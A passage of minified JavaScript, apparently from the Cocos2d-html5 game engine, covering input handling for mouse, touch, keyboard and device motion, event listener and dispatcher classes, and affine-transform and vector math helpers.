- c.clientLeft,top:e.top+d.pageYOffset-c.clientTop,width:e.width,height:e.height}},J1:function(a){for(var c=null,d=this.sL,e=a.wg,f=d.length-1;0<=f;f--)if(d[f].wg==e){c=d[f];break}c||(c=a);return c},w5:function(a){for(var c=!1,d=this.sL,e=a.wg,f=d.length-1;0<=f;f--)if(d[f].wg==e){d[f]=a;c=!0;break}c||(50>=d.length?d.push(a):(d[this.HC]=a,this.HC=(this.HC+1)%50))},Ks:function(a,c,d){var e=this.rL;a=this.Ak.zE(a,c,d);c=new b.Eu(a.x,a.y);c.nm(e.x,e.y);e.x=a.x;e.y=a.y;return c},op:function(a,c,d){var e=
- this.wY;this.Ak.jW(a,c);c=new b.Jc(d);c.k5(a.x,a.y);c.WY(e.x,e.y);e.x=a.x;e.y=a.y;return c},qp:function(a,c){if(null!=a.pageX)return{x:a.pageX,y:a.pageY};c.left-=document.body.scrollLeft;c.top-=document.body.scrollTop;return{x:a.clientX,y:a.clientY}},tx:function(a,c){for(var d=[],e=this.Ak,f,g,h=this.rL,k=a.changedTouches.length,m=0;m<k;m++)if(f=a.changedTouches[m]){var p;p=b.pa.$p===b.pa.Aj?e.zE(f.pageX,f.pageY,c):e.zE(f.clientX,f.clientY,c);null!=f.identifier?(f=new b.Eu(p.x,p.y,f.identifier),g=
- this.J1(f).Is(),f.nm(g.x,g.y),this.w5(f)):(f=new b.Eu(p.x,p.y),f.nm(h.x,h.y));h.x=p.x;h.y=p.y;d.push(f)}return d},r4:function(a){if(!this.RK){var c=this.Ak=b.view,d=this,e="touches"in b.pa.sE;"mouse"in b.pa.sE&&(b.Ha(window,"mousedown",function(){d.Do=!0},!1),b.Ha(window,"mouseup",function(c){var f=d.Do;d.Do=!1;if(f){var f=d.Ih(a),g=d.qp(c,f);b.kP(new b.RH(f.left,f.top,f.width,f.height),g)||(e||d.xx([d.Ks(g.x,g.y,f)]),f=d.op(g,f,b.Jc.IA),f.fn(c.button),b.ra.dispatchEvent(f))}},!1),b.Ha(a,"mousedown",
- function(c){d.Do=!0;var f=d.Ih(a),g=d.qp(c,f);e||d.lF([d.Ks(g.x,g.y,f)]);f=d.op(g,f,b.Jc.bH);f.fn(c.button);b.ra.dispatchEvent(f);c.stopPropagation();c.preventDefault();a.focus()},!1),b.Ha(a,"mouseup",function(c){d.Do=!1;var f=d.Ih(a),g=d.qp(c,f);e||d.xx([d.Ks(g.x,g.y,f)]);f=d.op(g,f,b.Jc.IA);f.fn(c.button);b.ra.dispatchEvent(f);c.stopPropagation();c.preventDefault()},!1),b.Ha(a,"mousemove",function(c){var f=d.Ih(a),g=d.qp(c,f);e||d.mF([d.Ks(g.x,g.y,f)]);f=d.op(g,f,b.Jc.sH);d.Do?f.fn(c.button):f.fn(null);
- b.ra.dispatchEvent(f);c.stopPropagation();c.preventDefault()},!1),b.Ha(a,"mousewheel",function(c){var e=d.Ih(a),f=d.qp(c,e),e=d.op(f,e,b.Jc.fA);e.fn(c.button);e.aQ(0,c.wheelDelta);b.ra.dispatchEvent(e);c.stopPropagation();c.preventDefault()},!1),b.Ha(a,"DOMMouseScroll",function(c){var e=d.Ih(a),f=d.qp(c,e),e=d.op(f,e,b.Jc.fA);e.fn(c.button);e.aQ(0,-120*c.detail);b.ra.dispatchEvent(e);c.stopPropagation();c.preventDefault()},!1));if(window.navigator.msPointerEnabled){var f={MSPointerDown:d.lF,MSPointerMove:d.mF,
- MSPointerUp:d.xx,MSPointerCancel:d.eO},g;for(g in f)(function(c,e){b.Ha(a,c,function(c){var f=d.Ih(a);f.left-=document.documentElement.scrollLeft;f.top-=document.documentElement.scrollTop;e.call(d,[d.Ks(c.clientX,c.clientY,f)]);c.stopPropagation()},!1)})(g,f[g])}e&&(b.Ha(a,"touchstart",function(c){if(c.changedTouches){var e=d.Ih(a);e.left-=document.body.scrollLeft;e.top-=document.body.scrollTop;d.lF(d.tx(c,e));c.stopPropagation();c.preventDefault();a.focus()}},!1),b.Ha(a,"touchmove",function(c){if(c.changedTouches){var e=
- d.Ih(a);e.left-=document.body.scrollLeft;e.top-=document.body.scrollTop;d.mF(d.tx(c,e));c.stopPropagation();c.preventDefault()}},!1),b.Ha(a,"touchend",function(c){if(c.changedTouches){var e=d.Ih(a);e.left-=document.body.scrollLeft;e.top-=document.body.scrollTop;d.xx(d.tx(c,e));c.stopPropagation();c.preventDefault()}},!1),b.Ha(a,"touchcancel",function(e){if(e.changedTouches){var f=d.Ih(a);f.left-=document.body.scrollLeft;f.top-=document.body.scrollTop;c.eO(d.tx(e,f));e.stopPropagation();e.preventDefault()}},
- !1));this.CL();this.BL();this.RK=!0}},CL:function(){},BL:function(){},update:function(a){this.Kl>this.Pu&&(this.Kl-=this.Pu,b.ra.dispatchEvent(new b.IR(this.VA)));this.Kl+=a}};var n=b.uO;n.oja=function(a){this.Ou!==a&&(this.Ou=a,a=b.J.al(),this.Ou?(this.Kl=0,a.eG(this)):(this.Kl=0,a.At(this)))};n.pja=function(a){this.Pu!==a&&(this.Pu=a)};n.CL=function(){b.Ha(b.Wa,"keydown",function(a){b.ra.dispatchEvent(new b.fH(a.keyCode,!0));a.stopPropagation();a.preventDefault()},!1);b.Ha(b.Wa,"keyup",function(a){b.ra.dispatchEvent(new b.fH(a.keyCode,!1));a.stopPropagation();a.preventDefault()},!1)};
- n.BL=function(){var a=window;this.VA=new fa;this.Nu=a.DeviceMotionEvent||a.DeviceOrientationEvent;b.pa.Aj==b.pa.UG&&(this.Nu=window.DeviceOrientationEvent);b.Ha(a,this.Nu==a.DeviceMotionEvent?"devicemotion":"deviceorientation",this.Y_.bind(this),!1)};
- n.Y_=function(a){var c=window;if(this.Ou){var d=this.VA,e,f,g;this.Nu==window.DeviceMotionEvent?(g=a.accelerationIncludingGravity,e=this.fJ*g.x*0.1,f=this.fJ*g.y*0.1,g=0.1*g.z):(e=a.gamma/90*0.981,f=0.981*-(a.beta/90),g=a.alpha/90*0.981);b.pa.Zm===b.pa.xH?(d.x=-e,d.y=-f):(d.x=e,d.y=f);d.z=g;d.timestamp=a.timeStamp||Date.now();a=d.x;c.orientation===b.YU?(d.x=-d.y,d.y=a):c.orientation===b.XU?(d.x=d.y,d.y=-a):c.orientation===b.ZU&&(d.x=-d.x,d.y=-d.y)}};delete n;b.p7=function(a,c,d,e,f,g){this.a=a;this.b=c;this.C=d;this.K=e;this.Ja=f;this.Ka=g};b.R$=function(a,c,d,e,f,g){return{a:a,b:c,C:d,K:e,Ja:f,Ka:g}};b.gP=function(a,c){return{x:c.a*a.x+c.C*a.y+c.Ja,y:c.b*a.x+c.K*a.y+c.Ka}};b.Ik=function(a,c,d){return{x:d.a*a+d.C*c+d.Ja,y:d.b*a+d.K*c+d.Ka}};b.tla=function(a,c){return{width:c.a*a.width+c.C*a.height,height:c.b*a.width+c.K*a.height}};b.S$=function(){return{a:1,b:0,C:0,K:1,Ja:0,Ka:0}};b.Q$=function(){return{a:1,b:0,C:0,K:1,Ja:0,Ka:0}};
- b.XF=function(a,c){var d=b.Kp(a),e=b.Jp(a),f=b.kt(a),g=b.lt(a),h=b.Ik(e,d,c),d=b.Ik(f,d,c),e=b.Ik(e,g,c),k=b.Ik(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);return b.rect(f,m,g-f,h-m)};
- b.xY=function(a,c){var d=b.Kp(a),e=b.Jp(a),f=b.kt(a),g=b.lt(a),h=b.Ik(e,d,c),d=b.Ik(f,d,c),e=b.Ik(e,g,c),k=b.Ik(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);a.x=f;a.y=m;a.width=g-f;a.height=h-m;return a};b.c_=function(a,c,d){return{a:a.a,b:a.b,C:a.C,K:a.K,Ja:a.Ja+a.a*c+a.C*d,Ka:a.Ka+a.b*c+a.K*d}};b.U$=function(a,c,d){return{a:a.a*c,b:a.b*c,C:a.C*d,K:a.K*d,Ja:a.Ja,Ka:a.Ka}};
- b.T$=function(a,c){var d=Math.sin(c),e=Math.cos(c);return{a:a.a*e+a.C*d,b:a.b*e+a.K*d,C:a.C*e-a.a*d,K:a.K*e-a.b*d,Ja:a.Ja,Ka:a.Ka}};b.Dm=function(a,c){return{a:a.a*c.a+a.b*c.C,b:a.a*c.b+a.b*c.K,C:a.C*c.a+a.K*c.C,K:a.C*c.b+a.K*c.K,Ja:a.Ja*c.a+a.Ka*c.C+c.Ja,Ka:a.Ja*c.b+a.Ka*c.K+c.Ka}};b.P$=function(a,c){return a.a===c.a&&a.b===c.b&&a.C===c.C&&a.K===c.K&&a.Ja===c.Ja&&a.Ka===c.Ka};
- b.DM=function(a){var c=1/(a.a*a.K-a.b*a.C);return{a:c*a.K,b:-c*a.b,C:-c*a.C,K:c*a.a,Ja:c*(a.C*a.Ka-a.K*a.Ja),Ka:c*(a.b*a.Ja-a.a*a.Ka)}};b.CH=parseFloat("1.192092896e-07F");b.OF=function(a){return b.d(-a.x,-a.y)};b.Mj=function(a,c){return b.d(a.x+c.x,a.y+c.y)};b.Ed=function(a,c){return b.d(a.x-c.x,a.y-c.y)};b.Ki=function(a,c){return b.d(a.x*c,a.y*c)};b.cP=function(a,c){return b.Ki(b.Mj(a,c),0.5)};b.Gp=function(a,c){return a.x*c.x+a.y*c.y};b.Q3=function(a,c){return a.x*c.y-a.y*c.x};b.ky=function(a){return b.d(-a.y,a.x)};b.aia=function(a){return b.d(a.y,-a.x)};b.$ha=function(a,c){return b.Ki(c,b.Gp(a,c)/b.Gp(c,c))};
- b.bia=function(a,c){return b.d(a.x*c.x-a.y*c.y,a.x*c.y+a.y*c.x)};b.eia=function(a,c){return b.d(a.x*c.x+a.y*c.y,a.y*c.x-a.x*c.y)};b.aP=function(a){return b.Gp(a,a)};b.$O=function(a,c){return b.aP(b.Ed(a,c))};b.kl=function(a){return Math.sqrt(b.aP(a))};b.Vha=function(a,c){return b.kl(b.Ed(a,c))};b.Ng=function(a){return b.Ki(a,1/b.kl(a))};b.Wha=function(a){return b.d(Math.cos(a),Math.sin(a))};b.T3=function(a){return Math.atan2(a.y,a.x)};
- b.Qc=function(a,c,d){if(c>d){var e=c;c=d;d=e}return a<c?c:a<d?a:d};b.ZO=function(a){var c=b.d(0,0),d=b.d(1,1);return b.d(b.Qc(a.x,c.x,d.x),b.Qc(a.y,c.y,d.y))};b.Xha=function(a){return b.d(a.width,a.height)};b.Uha=function(a,c){return b.d(c(a.x),c(a.y))};b.bP=function(a,c,d){return b.Mj(b.Ki(a,1-d),b.Ki(c,d))};b.Yha=function(a,c,d){return a.x-d<=c.x&&c.x<=a.x+d&&a.y-d<=c.y&&c.y<=a.y+d?!0:!1};b.Tha=function(a,c){return b.d(a.x*c.x,a.y*c.y)};
- b.Sha=function(a,c){var d=b.Ng(a),e=b.Ng(c),d=Math.atan2(d.x*e.y-d.y*e.x,b.Gp(d,e));return Math.abs(d)<b.CH?0:d};b.Rha=function(a,c){var d=Math.acos(b.Gp(b.Ng(a),b.Ng(c)));return Math.abs(d)<b.CH?0:d};b.S3=function(a,c,d){a=b.Ed(a,c);var e=Math.cos(d);d=Math.sin(d);var f=a.x;a.x=f*e-a.y*d+c.x;a.y=f*d+a.y*e+c.y;return a};
- b.NF=function(a,c,d,e,f){if(a.x==c.x&&a.y==c.y||d.x==e.x&&d.y==e.y)return!1;var g=c.x-a.x;c=c.y-a.y;var h=e.x-d.x;e=e.y-d.y;var k=a.x-d.x;a=a.y-d.y;d=e*g-h*c;f.x=h*a-e*k;f.y=g*a-c*k;if(0==d)return 0==f.x||0==f.y?!0:!1;f.x/=d;f.y/=d;return!0};b.dia=function(a,c,d,e){var f=b.d(0,0);return b.NF(a,c,d,e,f)&&0<=f.x&&1>=f.x&&0<=f.y&&1>=f.y?!0:!1};b.Zha=function(a,c,d,e){var f=b.d(0,0);return b.NF(a,c,d,e,f)?(d=b.d(0,0),d.x=a.x+f.x*(c.x-a.x),d.y=a.y+f.x*(c.y-a.y),d):b.d(0,0)};
- b.cia=function(a,c){return null!=a&&null!=c?a.x==c.x&&a.y==c.y:!1};b.ly=function(a){a.x=0;a.y=0};b.Nj=function(a,c){a.x=c.x;a.y=c.y};b.Hp=function(a,c){a.x*=c;a.y*=c};b.dP=function(a,c){a.x-=c.x;a.y-=c.y};b.jy=function(a,c){a.x+=c.x;a.y+=c.y};b.R3=function(a){b.Hp(a,1/Math.sqrt(a.x*a.x+a.y*a.y))};b.KG=function(a,c,d,e,f){f+=e;if(!(1>=f)){c*=0.5;for(var g,h=f-1,k=e;k<f;k++){g=2*k;var m=b.d(a[2*k],a[2*k+1]),p;if(0===k)p=b.ky(b.Ng(b.Ed(m,b.d(a[2*(k+1)],a[2*(k+1)+1]))));else if(k===h)p=b.ky(b.Ng(b.Ed(b.d(a[2*(k-1)],a[2*(k-1)+1]),m)));else{p=b.d(a[2*(k-1)],a[2*(k-1)+1]);var q=b.d(a[2*(k+1)],a[2*(k+1)+1]),r=b.Ng(b.Ed(q,m)),t=b.Ng(b.Ed(p,m)),s=Math.acos(b.Gp(r,t));p=s<b.Pf(70)?b.ky(b.Ng(b.cP(r,t))):s<b.Pf(170)?b.Ng(b.cP(r,t)):b.ky(b.Ng(b.Ed(q,p)))}p=b.Ki(p,c);d[2*g]=m.x+p.x;d[2*g+1]=m.y+p.y;d[2*
- (g+1)]=m.x-p.x;d[2*(g+1)+1]=m.y-p.y}for(k=0==e?0:e-1;k<h;k++)g=2*k,a=g+2,c=b.Xy(d[2*g],d[2*g+1]),f=b.Xy(d[2*(g+1)],d[2*(g+1)+1]),g=b.Xy(d[2*a],d[2*a]),e=b.Xy(d[2*(a+1)],d[2*(a+1)+1]),c=!b.Q6(c.x,c.y,e.x,e.y,f.x,f.y,g.x,g.y),!c.Qs&&(0>c.value||1<c.value)&&(c.Qs=!0),c.Qs&&(d[2*a]=e.x,d[2*a+1]=e.y,d[2*(a+1)]=g.x,d[2*(a+1)+1]=g.y)}};
- b.Q6=function(a,c,d,e,f,g,h,k){if(a==d&&c==e||f==h&&g==k)return{Qs:!1,value:0};d-=a;e-=c;f-=a;g-=c;h-=a;k-=c;a=Math.sqrt(d*d+e*e);d/=a;e/=a;c=f*d+g*e;g=g*d-f*e;f=c;c=h*d+k*e;k=k*d-h*e;h=c;return g==k?{Qs:!1,value:0}:{Qs:!0,value:(h+(f-h)*k/(k-g))/a}};b.bma=function(a){for(var c=0,d=a.length;c<d;c++){var e=a[(c+1)%d],f=a[(c+2)%d];if(0<b.Q3(b.Ed(e,a[c]),b.Ed(f,e)))return!1}return!0};b.H7=function(a,c){c[2]=c[3]=c[6]=c[7]=c[8]=c[9]=c[11]=c[14]=0;c[10]=c[15]=1;c[0]=a.a;c[4]=a.C;c[12]=a.Ja;c[1]=a.b;c[5]=a.K;c[13]=a.Ka};b.d8=function(a,c){c.a=a[0];c.C=a[4];c.Ja=a[12];c.b=a[1];c.K=a[5];c.Ka=a[13]};b.Eu=b.oa.extend({$c:null,nh:null,wg:0,dM:!1,bs:null,ctor:function(a,c,d){this.$c=b.d(a||0,c||0);this.wg=d||0},Is:function(){return{x:this.$c.x,y:this.$c.y}},u1:function(){return this.$c.x},v1:function(){return this.$c.y},Bda:function(){return{x:this.nh.x,y:this.nh.y}},Rda:function(){return{x:this.bs.x,y:this.bs.y}},UE:function(){return b.Ed(this.$c,this.nh)},t1:function(){return{x:this.$c.x,y:this.$c.y}},Cda:function(){return{x:this.nh.x,y:this.nh.y}},Sda:function(){return{x:this.bs.x,y:this.bs.y}},
- Sca:function(){return this.wg},Tca:function(){b.log("getId is deprecated. Please use getID instead.");return this.wg},$ka:function(a,c,d){this.nh=this.$c;this.$c=b.d(c||0,d||0);this.wg=a;this.dM||(this.bs=b.d(this.$c),this.dM=!0)},kD:function(a,c){void 0===c?(this.$c.x=a.x,this.$c.y=a.y):(this.$c.x=a,this.$c.y=c)},nm:function(a,c){this.nh=void 0===c?b.d(a.x,a.y):b.d(a||0,c||0)}});b.pc=b.oa.extend({lc:0,Vl:!1,Wc:null,cD:function(a){this.Wc=a},ctor:function(a){this.lc=a},iF:function(){return this.lc},stopPropagation:function(){this.Vl=!0},efa:function(){return this.Vl},pca:function(){return this.Wc}});b.pc.zu=0;b.pc.zn=1;b.pc.nn=2;b.pc.Cn=3;b.pc.aq=4;b.zl=b.pc.extend({DB:null,qM:null,ctor:function(a){b.pc.prototype.ctor.call(this,b.pc.aq);this.DB=a},setUserData:function(a){this.qM=a},getUserData:function(){return this.qM},Hca:function(){return this.DB}});
- b.Jc=b.pc.extend({iK:0,oJ:0,Bh:0,Ie:0,IC:0,JC:0,PL:0,QL:0,ctor:function(a){b.pc.prototype.ctor.call(this,b.pc.Cn);this.iK=a},aQ:function(a,c){this.PL=a;this.QL=c},Nda:function(){return this.PL},Oda:function(){return this.QL},k5:function(a,c){this.Bh=a;this.Ie=c},Is:function(){return{x:this.Bh,y:this.Ie}},t1:function(){return{x:this.Bh,y:b.view.co.height-this.Ie}},WY:function(a,c){this.IC=a;this.JC=c},UE:function(){return{x:this.Bh-this.IC,y:this.Ie-this.JC}},tca:function(){return this.Bh-this.IC},
- uca:function(){return this.Ie-this.JC},fn:function(a){this.oJ=a},bca:function(){return this.oJ},u1:function(){return this.Bh},v1:function(){return this.Ie}});b.Jc.NONE=0;b.Jc.bH=1;b.Jc.IA=2;b.Jc.sH=3;b.Jc.fA=4;b.Jc.D7=0;b.Jc.F7=2;b.Jc.E7=1;b.Jc.y7=3;b.Jc.z7=4;b.Jc.A7=5;b.Jc.B7=6;b.Jc.C7=7;
- b.lg=b.pc.extend({vk:0,Wk:null,ctor:function(a){b.pc.prototype.ctor.call(this,b.pc.zu);this.Wk=a||[]},Gca:function(){return this.vk},kea:function(){return this.Wk},u$:function(a){this.vk=a},w$:function(a){this.Wk=a}});b.lg.E8=5;b.lg.vn={Zy:0,Fz:1,nz:2,ez:3};b.ta=b.oa.extend({qC:null,lc:0,hi:null,ef:!1,wk:0,ee:null,kc:!1,yo:!0,ctor:function(a,c,d){this.qC=d;this.lc=a||0;this.hi=c||""},jD:function(a){this.kc=a},h$:function(){return this.kc},Vr:function(a){this.ef=a},KX:function(){return this.ef},f$:function(){return this.lc},c$:function(){return this.hi},dD:function(a){this.wk=a},b$:function(){return this.wk},Wr:function(a){this.ee=a},d$:function(){return this.ee},Zk:function(){return null!=this.qC},k:function(){return null},qe:function(a){this.yo=a},
- isEnabled:function(){return this.yo},uy:function(){},Mi:function(){}});b.ta.hV=0;b.ta.Hn=1;b.ta.nA=2;b.ta.zn=3;b.ta.Cn=4;b.ta.nn=5;b.ta.aq=6;b.Rq=b.ta.extend({Kr:null,ctor:function(a,c){this.Kr=c;var d=this;b.ta.prototype.ctor.call(this,b.ta.aq,a,function(a){null!=d.Kr&&d.Kr(a)})},Zk:function(){return b.ta.prototype.Zk.call(this)&&null!=this.Kr},k:function(){return new b.Rq(this.hi,this.Kr)}});b.Rq.create=function(a,c){return new b.Rq(a,c)};
- b.lk=b.ta.extend({ey:null,hy:null,fy:null,gy:null,ctor:function(){var a=this;b.ta.prototype.ctor.call(this,b.ta.Cn,b.lk.qc,function(c){var d=b.Jc;switch(c.iK){case d.bH:a.ey&&a.ey(c);break;case d.IA:a.hy&&a.hy(c);break;case d.sH:a.fy&&a.fy(c);break;case d.fA:a.gy&&a.gy(c)}})},k:function(){var a=new b.lk;a.ey=this.ey;a.hy=this.hy;a.fy=this.fy;a.gy=this.gy;return a},Zk:function(){return!0}});b.lk.qc="__cc_mouse";b.lk.create=function(){return new b.lk};
- b.Yh=b.ta.extend({Xn:null,hn:!1,Hi:null,Ji:null,Ii:null,at:null,ctor:function(){b.ta.prototype.ctor.call(this,b.ta.Hn,b.Yh.qc,null);this.Xn=[]},Qka:function(a){this.hn=a},k:function(){var a=new b.Yh;a.Hi=this.Hi;a.Ji=this.Ji;a.Ii=this.Ii;a.at=this.at;a.hn=this.hn;return a},Zk:function(){return this.Hi?!0:(b.log(b.f.tV),!1)}});b.Yh.qc="__cc_touch_one_by_one";b.Yh.create=function(){return new b.Yh};
- b.Xh=b.ta.extend({bt:null,et:null,dt:null,ct:null,ctor:function(){b.ta.prototype.ctor.call(this,b.ta.nA,b.Xh.qc,null)},k:function(){var a=new b.Xh;a.bt=this.bt;a.et=this.et;a.dt=this.dt;a.ct=this.ct;return a},Zk:function(){return null==this.bt&&null==this.et&&null==this.dt&&null==this.ct?(b.log(b.f.sV),!1):!0}});b.Xh.qc="__cc_touch_all_at_once";b.Xh.create=function(){return new b.Xh};
- b.ta.create=function(a){b.assert(a&&a.event,b.f.JR);var c=a.event;delete a.event;var d=null;c===b.ta.Hn?d=new b.Yh:c===b.ta.nA?d=new b.Xh:c===b.ta.Cn?d=new b.lk:c===b.ta.aq?(d=new b.Rq(a.F0,a.pE),delete a.F0,delete a.pE):c===b.ta.zn?d=new b.kk:c===b.ta.nn&&(d=new b.jk(a.pE),delete a.pE);for(var e in a)d[e]=a[e];return d};b.uV=b.oa.extend({Df:null,Jf:null,dO:0,ctor:function(){this.Df=[];this.Jf=[]},size:function(){return this.Df.length+this.Jf.length},empty:function(){return 0===this.Df.length&&0===this.Jf.length},push:function(a){0==a.wk?this.Jf.push(a):this.Df.push(a)},O_:function(){this.Jf.length=0},N_:function(){this.Df.length=0},clear:function(){this.Jf.length=0;this.Df.length=0},Jca:function(){return this.Df},Lda:function(){return this.Jf}});
- b.Ku=function(a){var c=b.pc,d=a.lc;if(d===c.nn)return b.jk.qc;if(d===c.aq)return a.DB;if(d===c.zn)return b.kk.qc;if(d===c.Cn)return b.lk.qc;d===c.zu&&b.log(b.f.Ku);return""};
- b.ra={kz:0,Gt:1,dq:2,S7:3,xg:{},Rr:{},ji:{},Qv:{},AK:{},Ro:[],kr:[],Tl:0,yo:!1,hL:0,JX:[b.wb.pz,b.wb.Jt],nw:function(a){null!=this.ji[a.ua]&&this.kr.push(a);a=a.u;for(var c=0,d=a.length;c<d;c++)this.nw(a[c])},Ip:function(a,c){var d=this.ji[a.ua],e,f;if(d)for(e=0,f=d.length;e<f;e++)d[e].jD(!0);if(!0===c)for(d=a.u,e=0,f=d.length;e<f;e++)this.Ip(d[e],!0)},Qj:function(a,c){var d=this.ji[a.ua],e,f;if(d)for(e=0,f=d.length;e<f;e++)d[e].jD(!1);this.nw(a);if(!0===c)for(d=a.u,e=0,f=d.length;e<f;e++)this.Qj(d[e],
- !0)},iJ:function(a){0===this.Tl?this.oK(a):this.Ro.push(a)},oK:function(a){var c=a.hi,d=this.xg[c];d||(d=new b.uV,this.xg[c]=d);d.push(a);0==a.wk?(this.Nk(c,this.dq),c=a.ee,null==c&&b.log(b.f.y0),this.KV(c,a),c.sh&&this.Qj(c)):this.Nk(c,this.Gt)},PB:function(a){return this.xg[a]},KZ:function(){if(0!=this.kr.length){for(var a=this.kr,c,d,e=this.ji,f=0,g=a.length;f<g;f++)if(c=e[a[f].ua])for(var h=0,k=c.length;h<k;h++)(d=c[h])&&this.Nk(d.hi,this.dq);this.kr.length=0}},DL:function(a){if(a)for(var c,d=
- 0;d<a.length;)c=a[d],c.Vr(!1),null!=c.ee&&(this.CJ(c.ee,c),c.Wr(null)),0===this.Tl?b.Je(a,c):++d},jm:function(a){var c=this.xg[a];if(c){var d=c.Df;this.DL(c.Jf);this.DL(d);delete this.Rr[a];this.Tl||(c.clear(),delete this.xg[a])}for(var d=this.Ro,e,c=0;c<d.length;)(e=d[c])&&e.hi==a?b.Je(d,e):++c},rD:function(a){var c=this.kz,d=this.Rr;d[a]&&(c=d[a]);c!=this.kz&&(d[a]=this.kz,c&this.Gt&&this.wZ(a),c&this.dq&&((c=b.J.bd)?this.yZ(a,c):d[a]=this.dq))},yZ:function(a,c){var d=this.PB(a);if(d){var e=d.Jf;
- e&&0!==e.length&&(this.hL=0,this.Qv={},this.ZD(c,!0),d.Jf.sort(this.vZ))}},vZ:function(a,c){var d=b.ra.Qv;return a&&c&&a.ee&&c.ee?d[c.ee.ua]-d[a.ee.ua]:-1},wZ:function(a){if(a=this.xg[a]){var c=a.Df;if(c&&0!==c.length){c.sort(this.xZ);for(var d=0,e=c.length;d<e&&!(0<=c[d].wk);)++d;a.dO=d}}},xZ:function(a,c){return a.wk-c.wk},rC:function(a){if(a=this.xg[a]){var c=a.Df,d=a.Jf,e,f;if(d)for(e=0;e<d.length;)f=d[e],f.ef?++e:b.Je(d,f);if(c)for(e=0;e<c.length;)f=c[e],f.ef?++e:b.Je(c,f);d&&0===d.length&&a.O_();
- c&&0===c.length&&a.N_()}},Nw:function(a){var c=this.Tl;b.assert(0<c,b.f.KR);a.lc==b.pc.zu?(this.rC(b.Yh.qc),this.rC(b.Xh.qc)):this.rC(b.Ku(a));if(!(1<c)){b.assert(1==c,b.f.LR);a=this.xg;var c=this.Rr,d;for(d in a)a[d].empty()&&(delete c[d],delete a[d]);d=this.Ro;if(0!==d.length){a=0;for(c=d.length;a<c;a++)this.oK(d[a]);this.Ro.length=0}}},hY:function(a,c){if(!a.KX)return!1;var d=c.event,e=c.AP;d.cD(a.ee);var f=!1,g,h=d.vk,k=b.lg.vn;h==k.Zy?a.Hi&&(f=a.Hi(e,d))&&a.ef&&a.Xn.push(e):0<a.Xn.length&&-1!=
- (g=a.Xn.indexOf(e))&&(f=!0,h===k.Fz&&a.Ji?a.Ji(e,d):h===k.nz?(a.Ii&&a.Ii(e,d),a.ef&&a.Xn.splice(g,1)):h===k.ez&&(a.at&&a.at(e,d),a.ef&&a.Xn.splice(g,1)));return d.Vl?(b.ra.Nw(d),!0):f&&a.ef&&a.hn?(c.H3&&c.touches.splice(e,1),!0):!1},sW:function(a){this.rD(b.Yh.qc);this.rD(b.Xh.qc);var c=this.PB(b.Yh.qc),d=this.PB(b.Xh.qc);if(null!=c||null!=d){var e=a.Wk,f=b.TM(e),g={event:a,H3:c&&d,touches:f,AP:null};if(c)for(var h=0;h<e.length;h++)if(g.AP=e[h],this.vB(c,this.hY,g),a.Vl)return;if(d&&0<f.length&&(this.vB(d,
- this.jY,{event:a,touches:f}),a.Vl))return;this.Nw(a)}},jY:function(a,c){if(!a.ef)return!1;var d=b.lg.vn,e=c.event,f=c.touches,g=e.vk;e.cD(a.ee);g==d.Zy&&a.bt?a.bt(f,e):g==d.Fz&&a.et?a.et(f,e):g==d.nz&&a.dt?a.dt(f,e):g==d.ez&&a.ct&&a.ct(f,e);return e.Vl?(b.ra.Nw(e),!0):!1},KV:function(a,c){var d=this.ji[a.ua];d||(d=[],this.ji[a.ua]=d);d.push(c)},CJ:function(a,c){var d=this.ji[a.ua];d&&(b.Je(d,c),0===d.length&&delete this.ji[a.ua])},vB:function(a,c,d){var e=!1,f=a.Df,g=a.Jf,h=0,k;if(f&&0!==f.length)for(;h<
- a.dO;++h)if(k=f[h],k.isEnabled()&&!k.kc&&k.ef&&c(k,d)){e=!0;break}if(g&&!e)for(a=0;a<g.length;a++)if(k=g[a],k.isEnabled()&&!k.kc&&k.ef&&c(k,d)){e=!0;break}if(f&&!e)for(;h<f.length&&(k=f[h],!k.isEnabled()||k.kc||!k.ef||!c(k,d));++h);},Nk:function(a,c){var d=this.Rr;d[a]=null==d[a]?c:c|d[a]},ZD:function(a,c){var d=a.u,e=0,f=d.length,g=this.AK,h=this.ji;if(0<f){for(var k;e<f;e++)if((k=d[e])&&0>k.Bb)this.ZD(k,!1);else break;null!=h[a.ua]&&(g[a.bj]||(g[a.bj]=[]),g[a.bj].push(a.ua));for(;e<f;e++)(k=d[e])&&
- this.ZD(k,!1)}else null!=h[a.ua]&&(g[a.bj]||(g[a.bj]=[]),g[a.bj].push(a.ua));if(c){var d=[],m;for(m in g)d.push(m);d.sort(this.zZ);m=d.length;k=this.Qv;for(e=0;e<m;e++)for(f=g[d[e]],h=0;h<f.length;h++)k[f[h]]=++this.hL;this.AK={}}},zZ:function(a,c){return a-c},addListener:function(a,c){b.assert(a&&c,b.f.A0);if(!(a instanceof b.ta))b.assert("number"!==typeof c,b.f.B0),a=b.ta.create(a);else if(a.ef){b.log(b.f.C0);return}a.Zk()&&("number"==typeof c?0==c?b.log(b.f.z0):(a.Wr(null),a.dD(c),a.Vr(!0),a.jD(!1),
- this.iJ(a)):(a.Wr(c),a.dD(0),a.Vr(!0),this.iJ(a)))},fE:function(a,c){var d=b.Rq.create(a,c);this.addListener(d,1);return d},removeListener:function(a){if(null!=a){var c,d=this.xg,e;for(e in d){var f=d[e],g=f.Df;(c=this.EL(f.Jf,a))?this.Nk(a.hi,this.dq):(c=this.EL(g,a))&&this.Nk(a.hi,this.Gt);f.empty()&&(delete this.Rr[a.hi],delete d[e]);if(c)break}if(!c)for(c=this.Ro,d=0,e=c.length;d<e;d++)if(f=c[d],f==a){b.Je(c,f);break}}},EL:function(a,c){if(null==a)return!1;for(var d=0,e=a.length;d<e;d++){var f=
